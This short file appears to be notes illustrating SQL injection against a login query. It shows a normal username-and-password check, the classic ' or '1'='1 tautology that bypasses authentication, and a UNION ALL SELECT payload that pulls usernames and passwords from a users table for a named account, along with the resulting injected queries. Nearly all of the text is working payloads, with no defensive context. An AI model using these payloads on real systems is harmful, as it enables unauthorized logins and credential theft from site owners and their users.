select * from table
where username='anything' and pw='1' or '1'='1'

select * from table
    where (username='anything' and pw='1') or '1'='1'

select * from table
where username='user' and password='pass'

' UNION ALL SELECT username,password from users where username='ShihabSoft' --

select * from users where username='' UNION ALL SELECT username,password from users where username='ShihabSoft' --